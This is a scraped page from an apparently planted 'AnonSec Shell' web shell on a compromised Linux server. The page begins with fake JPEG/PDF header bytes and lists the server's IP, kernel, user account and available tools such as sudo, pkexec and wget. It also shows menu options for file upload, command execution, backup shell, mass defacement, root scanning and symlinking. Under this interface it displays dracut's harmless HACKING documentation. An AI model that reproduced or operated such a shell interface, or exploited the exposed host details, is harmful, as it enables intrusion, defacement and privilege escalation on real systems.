ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/2666547/root/proc/2717258/root/usr/share/doc/dracut/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2666547/root/proc/2717258/root/usr/share/doc/dracut/HACKING
Right now, most of the testing is done using a qemu/kvm guest and
generating the initramfs on another box but the support is all present
to build for the "running" machine.  For the former, you can boot the guest
using qemu's -kernel and -initrd options.

dracut exists and will build an image.  It is command-line equivalent
to most mkinitrd implementations and should be pretty straight-forward
to use.

To use, just run dracut with an output file name and, optionally, a
kernel version (it defaults to using the current).   The appropriate
modules will be copied over and things should be good to go.  If you'd
like to customize the list of modules copied in, edit /etc/dracut.conf
and set
  dracutmodules="foo bar baz"

Note that dracut calls functional components in modules.d "modules"
while kernel modules are called "drivers".

Requirements:
* udev
* nfs module: nfs daemon and rpc helper
* iscsi: iscsi

Anon7 - 2022
AnonSec Team